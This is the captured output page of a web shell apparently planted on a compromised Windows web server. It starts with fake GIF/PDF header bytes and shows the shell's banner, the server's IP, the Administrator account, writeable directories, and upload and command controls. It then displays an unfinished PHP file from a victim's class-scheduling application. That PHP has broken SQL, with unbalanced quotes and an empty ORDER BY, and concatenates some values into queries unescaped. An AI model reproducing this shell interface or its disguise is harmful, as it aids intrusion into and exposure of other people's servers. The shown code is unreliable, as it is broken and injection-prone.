GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Scheduler/Schedule/ScheduleImportClasses/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Scheduler/Schedule/ScheduleImportClasses/CheckForSameExistingClassMeeting.phpinc
<?
// Schedule/ScheduleImportClasses/CheckForSameExistingClassMeeting.phpinc
// Check for same existing scheduleclass meeting.
// Meeting is the same only if the following is the same:
//	??? Section number
//	Begin and end dates
//	Begin and end times
//	Rm(s)
//	Instructor(s)

#$DEBUG_CheckForSameExistingClassMeeting = true;
#if ( $_SESSION['gameId'] == 0 ) $DEBUG_CheckForSameExistingClassMeeting = true; // DEBUG by gameId.
#if ( $_SESSION['userId'] == 0 ) $DEBUG_CheckForSameExistingClassMeeting = true; // DEBUG by userId.
if ( !isset($DEBUG_CheckForSameExistingClassMeeting) ) $DEBUG_CheckForSameExistingClassMeeting = d_O(); // DEBUG by passthrough.
#if ( !isset($DEBUG_CheckForSameExistingClassMeeting) ) $DEBUG_CheckForSameExistingClassMeeting = false; // Default false.
#if ( $DEBUG_CheckForSameExistingClassMeeting ) d_On(); // Use instead of t_Begin() for AJAX call.
t_Begin($DEBUG_CheckForSameExistingClassMeeting); // Begin TRACKing CheckForSameExistingClassMeeting.phpinc.

// Check for any scheduleclassmeetings with the same begin and end dates.
$query = "
		SELECT scheduleclassmeetingId
			FROM `scheduleclassmeeting`
		 WHERE scheduleclassId = ".$f['scheduleclassId']."
			 AND scheduleclassmeetingStartDate = '".query_safe($classmeetingInfo['classmeetingStartDate'])."'
			 AND scheduleclassmeetingEndDate = '".query_safe($classmeetingInfo['classmeetingStartDate'])."'
";
d_Var('sameDatesResult',$query,'q');
$sameDatesResult = query_do($query);
$sameDatesCount = $GLOBALS['_QUERY']['count'];
d_Var('$sameDatesCount',$sameDatesCount);
d_Var('$sameDatesResult',$sameDatesResult);

if ( !$sameDatesCount ) { // Are there no scheduleclassmeetings with the same begin and end dates?
	// Check for any scheduleclassmeetings with the same begin and end times.
	$query = "
			SELECT scheduleclassmeetingId
				FROM `scheduleclassmeeting`
			 WHERE scheduleclassId = ".$f['scheduleclassId'];
	if ( !empty($classmeetingInfo['classmeetingBeginTime']) ) {
		$query .= "
				 AND scheduleclassmeetingBeginTime = '".query_safe($classmeetingInfo['classmeetingBeginTime']);
	} else {
		$query .= "
				 AND scheduleclassmeetingBeginTime IS NOT NULL'";
	}
	if ( !empty($classmeetingInfo['classmeetingEndTime']) ) {
		$query .= "
				 AND scheduleclassmeetingEndTime = '".query_safe($classmeetingInfo['classmeetingEndTime']);
	} else {
		$query .= "
				 AND scheduleclassmeetingEndTime IS NOT NULL'";
	}
	$query .= "
	";
	d_Var('sameTimesResult',$query,'q');
	$sameTimesResult = query_do($query);
	$sameTimesCount = $GLOBALS['_QUERY']['count'];
	d_Var('$sameTimesCount',$sameTimesCount);
	d_Var('$sameTimesResult',$sameTimesResult);
	if ( !$sameTimesCount ) { // Are there no scheduleclassmeetings with the same begin and end times?
		// Check for any scheduleclassmeetings with the same room(s).
		$query = "
				SELECT scheduleclassmeetingId
						 , roomId
					FROM `scheduleclassmeetingroom`
				 WHERE scheduleclassmeetingId = ".$f['scheduleclassmeetingId']."
					 AND roomId = ".$classmeetingInfo['roomId']."
			ORDER BY 
		";
		d_Var('scheduleclassmeetingroomResult',$query,'q');
		$scheduleclassmeetingroomResult = query_do($query);
		$scheduleclassmeetingroomCount = $GLOBALS['_QUERY']['count'];
		d_Var('$scheduleclassmeetingroomResult',$scheduleclassmeetingroomResult);
		#if ( $scheduleclassmeetingroomCount != 1 ) programmingError('The scheduleclassmeetingId ('.$scheduleclassmeetingId.') and roomId ('.$roomId.') did not return one record. '.$scheduleclassmeetingroomCount.' returned.');
		#if ( !$scheduleclassmeetingroomCount ) programmingError('The scheduleclassmeetingId ('.$scheduleclassmeetingId.') and roomId ('.$roomId.') did not return any records.');
		if ( $scheduleclassmeetingroomCount ) {
			query_seek($scheduleclassmeetingroomResult, 0);
			while ($scheduleclassmeetingroomInfo = query_row($scheduleclassmeetingroomResult)) {

			}
		}
		#d_Var('scheduleclassmeetingroomInfo',$query,'q');
		#$scheduleclassmeetingroomInfo = query_info($query);
		#d_Var('$scheduleclassmeetingroomInfo',$scheduleclassmeetingroomInfo);

		
		
		//	Rm(s) $classmeetingInfo['roomId'] == 31 $classmeetingInfo['roomId'] is NULL
		
		
		
		
		
		
		
		
		
//	Instructor(s)
		
		
	} // Are there no scheduleclassmeetings with the same begin and end times?
} // Are there no scheduleclassmeetings with the same begin and end dates?

#if ( $DEBUG_CheckForSameExistingClassMeeting ) d_Off(); // Use instead of t_End() for AJAX call.
unset($DEBUG_CheckForSameExistingClassMeeting);
t_End(); // End TRACKing CheckForSameExistingClassMeeting.phpinc.
?>

Anon7 - 2022
AnonSec Team